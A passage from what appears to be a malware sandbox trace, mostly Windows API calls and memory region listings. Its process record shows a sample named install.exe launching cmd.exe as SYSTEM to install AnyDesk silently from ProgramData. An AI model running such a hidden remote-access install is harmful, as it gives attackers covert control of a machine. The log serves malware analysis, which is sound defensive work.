lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0202.540] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0202.540] Sleep (dwMilliseconds=0xa) [0202.593] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0202.593] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0202.593] Sleep (dwMilliseconds=0xa) [0202.676] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0202.676] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0202.676] Sleep (dwMilliseconds=0xa) [0202.740] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0202.741] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0202.741] Sleep (dwMilliseconds=0xa) [0203.397] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0203.397] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0203.397] Sleep (dwMilliseconds=0xa) [0203.452] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0203.452] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0203.452] Sleep (dwMilliseconds=0xa) [0203.888] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0203.888] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0203.888] Sleep (dwMilliseconds=0xa) [0203.935] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0203.936] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0203.936] Sleep (dwMilliseconds=0xa) [0204.142] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0204.142] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0204.142] Sleep (dwMilliseconds=0xa) Thread: id = 169 os_tid = 0xdf0 Thread: id = 171 os_tid = 0xd90 Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2dbae000" os_pid = "0xdd8" os_integrity_level = "0x3000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xdec" cmd_line = "cmd /c c:\\programdata\\anydesk.exe --install C:\\ProgramData\\AnyDesk --silent" cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\msiserver" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006cbe1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2637 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2638 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2639 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2640 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2641 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2642 start_va = 0xd0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2643 start_va = 0x210000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2644 start_va = 0x4a200000 end_va = 0x4a24bfff monitored = 1 entry_point = 0x4a20829a region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 2645 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2646 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2647 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2648 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2649 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2650 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2651 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2652 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2653 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2654 start_va = 0x250000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2655 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2656 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2657 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2658 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2659 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2660 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2661 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 2662 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2663 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 2664 start_va = 0x330000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2665 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2666 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2667 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2668 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2669 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2670 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2671 start_va = 0x490000 end_va = 0x4f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2672 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2673 start_va = 0x74930000 end_va = 0x74936fff monitored = 0 entry_point = 0x74931230 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 2677 start_va = 0x76860000 end_va = 0x7695ffff monitored = 0 entry_point = 0x7687b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2678 start_va = 0x75220000 end_va = 0x752affff monitored = 0 entry_point = 0x75236343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2679 start_va = 0x759c0000 end_va = 0x759c9fff monitored = 0 entry_point = 0x759c36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2680 start_va = 0x74d40000 end_va = 0x74ddcfff monitored = 0 entry_point = 0x74d73fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2681 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2682 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2683 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2684 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2685 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2686 start_va = 0x500000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 2687 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2688 start_va = 0x680000 end_va = 0x807fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 2689 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2690 start_va = 0x75550000 end_va = 0x755affff monitored = 0 entry_point = 0x7556158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2691 start_va = 0x74c40000 end_va = 0x74d0bfff monitored = 0 entry_point = 0x74c4168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2692 start_va = 0x810000 end_va = 0x990fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 2693 start_va = 0x9a0000 end_va = 0x1d9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 2694 start_va = 0x70000 end_va = 0x8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\cmd.exe.mui") Region: id = 2695 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2696 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2777 start_va = 0x1da0000 end_va = 0x206efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 173 os_tid = 0xddc [0163.257] GetProcAddress (hModule=0x752b0000, lpProcName="SetConsoleInputExeNameW") returned 0x752da775 [0163.260] GetProcessHeap () returned 0x390000 [0163.260] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x400a) returned 0x3a59a0 [0163.260] GetProcessHeap () returned 0x390000 [0163.261] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a59a0 | out: hHeap=0x390000) returned 1 [0163.263] _wcsicmp (_String1="c:\\programdata\\anydesk.exe", _String2=")") returned 58 [0163.263] _wcsicmp (_String1="FOR", _String2="c:\\programdata\\anydesk.exe") returned 3 [0163.263] _wcsicmp (_String1="FOR/?", _String2="c:\\programdata\\anydesk.exe") returned 3 [0163.263] _wcsicmp (_String1="IF", _String2="c:\\programdata\\anydesk.exe") returned 6 [0163.263] _wcsicmp (_String1="IF/?", _String2="c:\\programdata\\anydesk.exe") returned 6 [0163.263] _wcsicmp (_String1="REM", _String2="c:\\programdata\\anydesk.exe") returned 15 [0163.263] _wcsicmp (_String1="REM/?", _String2="c:\\programdata\\anydesk.exe") returned 15 [0163.263] GetProcessHeap () returned 0x390000 [0163.263] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x58) returned 0x3a31c8 [0163.263] GetProcessHeap () returned 0x390000 [0163.263] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x3e) returned 0x3a3228 [0163.265] GetProcessHeap () returned 0x390000 [0163.265] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x5e) returned 0x3a3270 [0163.265] GetConsoleTitleW (in: lpConsoleTitle=0x1cf4a8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\install.exe") returned 0x5e [0163.274] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0163.274] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0163.274] GetVolumeInformationW (in: lpRootPathName="c:\\", lpVolumeNameBuffer=0x1cf264, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x1cf25c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x1cf25c*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0163.274] GetProcessHeap () returned 0x390000 [0163.274] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x210) returned 0x3a32d8 [0163.275] GetProcessHeap () returned 0x390000 [0163.275] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x94) returned 0x3a34f0 [0163.275] _wcsnicmp (_String1="c:\\p", _String2="cmd ", _MaxCount=0x4) returned -51 [0163.275] GetProcessHeap () returned 0x390000 [0163.275] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x418) returned 0x3907f0 [0163.275] SetErrorMode (uMode=0x0) returned 0x0 [0163.275] SetErrorMode (uMode=0x1) returned 0x0 [0163.275] GetFullPathNameW (in: lpFileName="c:\\programdata\\.", nBufferLength=0x208, lpBuffer=0x3907f8, lpFilePart=0x1cefc8 | out: lpBuffer="c:\\programdata", lpFilePart=0x1cefc8*="programdata") returned 0xe [0163.275] SetErrorMode (uMode=0x0) returned 0x1 [0163.275] GetProcessHeap () returned 0x390000 [0163.275] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3907f0, Size=0x3e) returned 0x3907f0 [0163.275] GetProcessHeap () returned 0x390000 [0163.275] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3907f0) returned 0x3e [0163.275] NeedCurrentDirectoryForExePathW (ExeName="c:\\programdata\\.") returned 1 [0163.275] GetProcessHeap () returned 0x390000 [0163.275] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x2c) returned 0x3a3590 [0163.275] GetProcessHeap () returned 0x390000 [0163.276] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x4c) returned 0x3a35c8 [0163.276] GetProcessHeap () returned 0x390000 [0163.276] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3a35c8, Size=0x2c) returned 0x3a35c8 [0163.276] GetProcessHeap () returned 0x390000 [0163.276] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a35c8) returned 0x2c [0163.276] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a230640, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0163.276] GetProcessHeap () returned 0x390000 [0163.276] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xe0) returned 0x3a3600 [0163.281] GetProcessHeap () returned 0x390000 [0163.281] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3a3600, Size=0x76) returned 0x3a3600 [0163.281] GetProcessHeap () returned 0x390000 [0163.281] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a3600) returned 0x76 [0163.315] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0163.315] FindFirstFileExW (in: lpFileName="c:\\programdata\\anydesk.exe" (normalized: "c:\\programdata\\anydesk.exe"), fInfoLevelId=0x1, lpFindFileData=0x1ced64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ced64) returned 0x3a3680 [0163.315] GetProcessHeap () returned 0x390000 [0163.315] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x14) returned 0x3a18d8 [0163.315] FindClose (in: hFindFile=0x3a3680 | out: hFindFile=0x3a3680) returned 1 [0163.316] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0163.316] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0163.316] GetConsoleTitleW (in: lpConsoleTitle=0x1cf23c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\install.exe") returned 0x5e [0163.316] InitializeProcThreadAttributeList (in: lpAttributeList=0x1cf0c4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1cf18c | out: lpAttributeList=0x1cf0c4, lpSize=0x1cf18c) returned 1 [0163.316] UpdateProcThreadAttribute (in: lpAttributeList=0x1cf0c4, dwFlags=0x0, Attribute=0x60001, lpValue=0x1cf184, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1cf0c4, lpPreviousValue=0x0) returned 1 [0163.316] GetStartupInfoW (in: lpStartupInfo=0x1cf080 | out: lpStartupInfo=0x1cf080*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\install.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc8, hStdError=0xc8)) [0163.316] GetProcessHeap () returned 0x390000 [0163.316] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x18) returned 0x3a3680 [0163.316] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0163.316] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0163.316] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0163.316] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0163.316] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0163.316] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0163.316] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0163.316] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0163.317] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0163.318] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0163.318] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0163.318] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0163.318] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0163.318] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0163.318] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0163.318] GetProcessHeap () returned 0x390000 [0163.318] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a3680 | out: hHeap=0x390000) returned 1 [0163.318] GetProcessHeap () returned 0x390000 [0163.318] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xa) returned 0x3a00e0 [0163.318] lstrcmpW (lpString1="\\anydesk.exe", lpString2="\\XCOPY.EXE") returned -1 [0163.321] CreateProcessW (in: lpApplicationName="c:\\programdata\\anydesk.exe", 